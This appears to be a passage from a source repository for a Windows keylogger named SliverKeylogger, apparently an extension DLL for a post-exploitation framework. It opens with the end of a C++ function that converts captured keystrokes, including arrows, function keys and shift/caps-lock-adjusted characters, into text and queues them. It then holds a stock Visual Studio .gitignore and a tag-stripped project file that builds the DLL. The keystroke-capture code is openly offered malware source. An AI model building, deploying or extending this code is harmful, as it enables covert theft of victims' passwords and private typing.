s = L"[↑]"; 238 | break; 239 | case VK_RIGHT: 240 | s = L"[→]"; 241 | break; 242 | case VK_DOWN: 243 | s = L"[↓]"; 244 | break; 245 | case VK_DELETE: 246 | s = L"[delete]"; 247 | break; 248 | case VK_F1: 249 | case VK_F2: 250 | case VK_F3: 251 | case VK_F4: 252 | case VK_F5: 253 | case VK_F6: 254 | case VK_F7: 255 | case VK_F8: 256 | case VK_F9: 257 | case VK_F10: 258 | case VK_F11: 259 | case VK_F12: 260 | case VK_F13: 261 | case VK_F14: 262 | case VK_F15: 263 | case VK_F16: 264 | { 265 | s = L"[F"; 266 | wchar_t num[3]{ 0 }; 267 | _ltow_s(legacyVkey - VK_F1 + 1, num, 3, 10); 268 | s.append(num); 269 | s.append(L"]"); 270 | break; 271 | } 272 | default: 273 | { 274 | wchar_t result[16]{ 0 }; 275 | unsigned char keyboardState[256]{ 0 }; 276 | keyboardState[VK_SHIFT] = (isShifted) ? 0xff : 0; 277 | keyboardState[VK_CONTROL] = (isCtrled) ? 0xff : 0; 278 | keyboardState[VK_MENU] = (isAlted) ? 0xff : 0; 279 | keyboardState[legacyVkey] = 0xff; 280 | auto retval = ToUnicodeEx(vkey, scanCode, keyboardState, result, 15, 0, locale); 281 | if (retval > 0) 282 | { 283 | result[0] = (caplock == isShifted) ? ::towlower(result[0]) : ::toupper(result[0]); 284 | s = result; 285 | } 286 | } 287 | } 288 | 289 | if (s.length() > 0) 290 | { 291 | checkFocus(0); 292 | _queue->Push(std::move(s)); 293 | } 294 | return; 295 | 296 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | 34 | ## Ignore Visual Studio temporary files, build results, and 35 | ## files generated by popular Visual Studio add-ons. 36 | ## 37 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 38 | 39 | # User-specific files 40 | *.rsuser 41 | *.suo 42 | *.user 43 | *.userosscache 44 | *.sln.docstates 45 | 46 | # User-specific files (MonoDevelop/Xamarin Studio) 47 | *.userprefs 48 | 49 | # Mono auto generated files 50 | mono_crash.* 51 | 52 | # Build results 53 | [Dd]ebug/ 54 | [Dd]ebugPublic/ 55 | [Rr]elease/ 56 | [Rr]eleases/ 57 | x64/ 58 | x86/ 59 | [Ww][Ii][Nn]32/ 60 | [Aa][Rr][Mm]/ 61 | [Aa][Rr][Mm]64/ 62 | bld/ 63 | [Bb]in/ 64 | [Oo]bj/ 65 | [Ll]og/ 66 | [Ll]ogs/ 67 | 68 | # Visual Studio 2015/2017 cache/options directory 69 | .vs/ 70 | # Uncomment if you have tasks that create the project's static files in wwwroot 71 | #wwwroot/ 72 | 73 | # Visual Studio 2017 auto generated files 74 | Generated\ Files/ 75 | 76 | # MSTest test Results 77 | [Tt]est[Rr]esult*/ 78 | [Bb]uild[Ll]og.* 79 | 80 | # NUnit 81 | *.VisualState.xml 82 | TestResult.xml 83 | nunit-*.xml 84 | 85 | # Build Results of an ATL Project 86 | [Dd]ebugPS/ 87 | [Rr]eleasePS/ 88 | dlldata.c 89 | 90 | # Benchmark Results 91 | BenchmarkDotNet.Artifacts/ 92 | 93 | # .NET Core 94 | project.lock.json 95 | project.fragment.lock.json 96 | artifacts/ 97 | 98 | # ASP.NET Scaffolding 99 | ScaffoldingReadMe.txt 100 | 101 | # StyleCop 102 | StyleCopReport.xml 103 | 104 | # Files built by Visual Studio 105 | *_i.c 106 | *_p.c 107 | *_h.h 108 | *.ilk 109 | *.meta 110 | *.obj 111 | *.iobj 112 | *.pch 113 | *.pdb 114 | *.ipdb 115 | *.pgc 116 | *.pgd 117 | *.rsp 118 | *.sbr 119 | *.tlb 120 | *.tli 121 | *.tlh 122 | *.tmp 123 | *.tmp_proj 124 | *_wpftmp.csproj 125 | *.log 126 | *.tlog 127 | *.vspscc 128 | *.vssscc 129 | .builds 130 | *.pidb 131 | *.svclog 132 | *.scc 133 | 134 | # Chutzpah Test files 135 | _Chutzpah* 136 | 137 | # Visual C++ cache files 138 | ipch/ 139 | *.aps 140 | *.ncb 141 | *.opendb 142 | *.opensdf 143 | *.sdf 144 | *.cachefile 145 | *.VC.db 146 | *.VC.VC.opendb 147 | 148 | # Visual Studio profiler 149 | *.psess 150 | *.vsp 151 | *.vspx 152 | *.sap 153 | 154 | # Visual Studio Trace Files 155 | *.e2e 156 | 157 | # TFS 2012 Local Workspace 158 | $tf/ 159 | 160 | # Guidance Automation Toolkit 161 | *.gpState 162 | 163 | # ReSharper is a .NET coding add-in 164 | _ReSharper*/ 165 | *.[Rr]e[Ss]harper 166 | *.DotSettings.user 167 | 168 | # TeamCity is a build add-in 169 | _TeamCity* 170 | 171 | # DotCover is a Code Coverage Tool 172 | *.dotCover 173 | 174 | # AxoCover is a Code Coverage Tool 175 | .axoCover/* 176 | !.axoCover/settings.json 177 | 178 | # Coverlet is a free, cross platform Code Coverage Tool 179 | coverage*.json 180 | coverage*.xml 181 | coverage*.info 182 | 183 | # Visual Studio code coverage results 184 | *.coverage 185 | *.coveragexml 186 | 187 | # NCrunch 188 | _NCrunch_* 189 | .*crunch*.local.xml 190 | nCrunchTemp_* 191 | 192 | # MightyMoose 193 | *.mm.* 194 | AutoTest.Net/ 195 | 196 | # Web workbench (sass) 197 | .sass-cache/ 198 | 199 | # Installshield output folder 200 | [Ee]xpress/ 201 | 202 | # DocProject is a documentation generator add-in 203 | DocProject/buildhelp/ 204 | DocProject/Help/*.HxT 205 | DocProject/Help/*.HxC 206 | DocProject/Help/*.hhc 207 | DocProject/Help/*.hhk 208 | DocProject/Help/*.hhp 209 | DocProject/Help/Html2 210 | DocProject/Help/html 211 | 212 | # Click-Once directory 213 | publish/ 214 | 215 | # Publish Web Output 216 | *.[Pp]ublish.xml 217 | *.azurePubxml 218 | # Note: Comment the next line if you want to checkin your web deploy settings, 219 | # but database connection strings (with potential passwords) will be unencrypted 220 | *.pubxml 221 | *.publishproj 222 | 223 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 224 | # checkin your Azure Web App publish settings, but sensitive information contained 225 | # in these scripts will be unencrypted 226 | PublishScripts/ 227 | 228 | # NuGet Packages 229 | *.nupkg 230 | # NuGet Symbol Packages 231 | *.snupkg 232 | # The packages folder can be ignored because of Package Restore 233 | **/[Pp]ackages/* 234 | # except build/, which is used as an MSBuild target. 235 | !**/[Pp]ackages/build/ 236 | # Uncomment if necessary however generally it will be regenerated when needed 237 | #!**/[Pp]ackages/repositories.config 238 | # NuGet v3's project.json files produces more ignorable files 239 | *.nuget.props 240 | *.nuget.targets 241 | 242 | # Microsoft Azure Build Output 243 | csx/ 244 | *.build.csdef 245 | 246 | # Microsoft Azure Emulator 247 | ecf/ 248 | rcf/ 249 | 250 | # Windows Store app package directories and files 251 | AppPackages/ 252 | BundleArtifacts/ 253 | Package.StoreAssociation.xml 254 | _pkginfo.txt 255 | *.appx 256 | *.appxbundle 257 | *.appxupload 258 | 259 | # Visual Studio cache files 260 | # files ending in .cache can be ignored 261 | *.[Cc]ache 262 | # but keep track of directories ending in .cache 263 | !?*.[Cc]ache/ 264 | 265 | # Others 266 | ClientBin/ 267 | ~$* 268 | *~ 269 | *.dbmdl 270 | *.dbproj.schemaview 271 | *.jfm 272 | *.pfx 273 | *.publishsettings 274 | orleans.codegen.cs 275 | 276 | # Including strong name files can present a security risk 277 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 278 | #*.snk 279 | 280 | # Since there are multiple workflows, uncomment next line to ignore bower_components 281 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 282 | #bower_components/ 283 | 284 | # RIA/Silverlight projects 285 | Generated_Code/ 286 | 287 | # Backup & report files from converting an old project file 288 | # to a newer Visual Studio version. Backup files are not needed, 289 | # because we have git ;-) 290 | _UpgradeReport_Files/ 291 | Backup*/ 292 | UpgradeLog*.XML 293 | UpgradeLog*.htm 294 | ServiceFabricBackup/ 295 | *.rptproj.bak 296 | 297 | # SQL Server files 298 | *.mdf 299 | *.ldf 300 | *.ndf 301 | 302 | # Business Intelligence projects 303 | *.rdl.data 304 | *.bim.layout 305 | *.bim_*.settings 306 | *.rptproj.rsuser 307 | *- [Bb]ackup.rdl 308 | *- [Bb]ackup ([0-9]).rdl 309 | *- [Bb]ackup ([0-9][0-9]).rdl 310 | 311 | # Microsoft Fakes 312 | FakesAssemblies/ 313 | 314 | # GhostDoc plugin setting file 315 | *.GhostDoc.xml 316 | 317 | # Node.js Tools for Visual Studio 318 | .ntvs_analysis.dat 319 | node_modules/ 320 | 321 | # Visual Studio 6 build log 322 | *.plg 323 | 324 | # Visual Studio 6 workspace options file 325 | *.opt 326 | 327 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 328 | *.vbw 329 | 330 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 331 | *.vbp 332 | 333 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 334 | *.dsw 335 | *.dsp 336 | 337 | # Visual Studio 6 technical files 338 | *.ncb 339 | *.aps 340 | 341 | # Visual Studio LightSwitch build output 342 | **/*.HTMLClient/GeneratedArtifacts 343 | **/*.DesktopClient/GeneratedArtifacts 344 | **/*.DesktopClient/ModelManifest.xml 345 | **/*.Server/GeneratedArtifacts 346 | **/*.Server/ModelManifest.xml 347 | _Pvt_Extensions 348 | 349 | # Paket dependency manager 350 | .paket/paket.exe 351 | paket-files/ 352 | 353 | # FAKE - F# Make 354 | .fake/ 355 | 356 | # CodeRush personal settings 357 | .cr/personal 358 | 359 | # Python Tools for Visual Studio (PTVS) 360 | __pycache__/ 361 | *.pyc 362 | 363 | # Cake - Uncomment if you are using it 364 | # tools/** 365 | # !tools/packages.config 366 | 367 | # Tabs Studio 368 | *.tss 369 | 370 | # Telerik's JustMock configuration file 371 | *.jmconfig 372 | 373 | # BizTalk build output 374 | *.btp.cs 375 | *.btm.cs 376 | *.odx.cs 377 | *.xsd.cs 378 | 379 | # OpenCover UI analysis results 380 | OpenCover/ 381 | 382 | # Azure Stream Analytics local run output 383 | ASALocalRun/ 384 | 385 | # MSBuild Binary and Structured Log 386 | *.binlog 387 | 388 | # NVidia Nsight GPU debugger configuration file 389 | *.nvuser 390 | 391 | # MFractors (Xamarin productivity tool) working folder 392 | .mfractor/ 393 | 394 | # Local History for Visual Studio 395 | .localhistory/ 396 | 397 | # Visual Studio History (VSHistory) files 398 | .vshistory/ 399 | 400 | # BeatPulse healthcheck temp database 401 | healthchecksdb 402 | 403 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 404 | MigrationBackup/ 405 | 406 | # Ionide (cross platform F# VS Code tools) working folder 407 | .ionide/ 408 | 409 | # Fody - auto-generated XML schema 410 | FodyWeavers.xsd 411 | 412 | # VS Code files for those working on multiple tools 413 | .vscode/* 414 | !.vscode/settings.json 415 | !.vscode/tasks.json 416 | !.vscode/launch.json 417 | !.vscode/extensions.json 418 | *.code-workspace 419 | 420 | # Local History for Visual Studio Code 421 | .history/ 422 | 423 | # Windows Installer files from build outputs 424 | *.cab 425 | *.msi 426 | *.msix 427 | *.msm 428 | *.msp 429 | 430 | # JetBrains Rider 431 | *.sln.iml -------------------------------------------------------------------------------- /SliverKeylogger/SliverKeylogger.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {c0263427-3bfc-406e-a334-a268e0e35fc7} 25 | SliverKeylogger 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | $(SolutionDir)bin\ 75 | $(ProjectName).x64 76 | 77 | 78 | $(SolutionDir)bin\ 79 | $(ProjectName).x86 80 | 81 | 82 | 83 | Level3 84 | true 85 | _SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 86 | false 87 | Create 88 | pch.h 89 | stdcpp20 90 | MultiThreadedDebug 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | _SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | false 105 | Create 106 | pch.h 107 | stdcpp20 108 | MultiThreaded 109 | 110 | 111 | Console 112 | true 113 | true 114 | false 115 | 116 | 117 | copy /Y $(solutiondir)extension.json $(solutiondir)bin\extension.json 118 | 119 | 120 | 121 | 122 | Level3 123 | true 124 | _SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 125 | false 126 | Create 127 | pch.h 128 | stdcpp20 129 | MultiThreadedDebug 130 | 131 | 132 | Console 133 | true 134 | 135 | 136 | 137 | 138 | Level3 139 | true 140 | true 141 | true 142 | _SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 143 | false 144 | Create 145 | pch.h 146 | stdcpp20 147 | MultiThreaded 148 | 149 | 150 | Console 151 | true 152 | true 153 | false 154 | 155 | 156 | copy /Y $(solutiondir)extension.json $(solutiondir)bin\extension.json 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | --------------------------------------------------------------------------------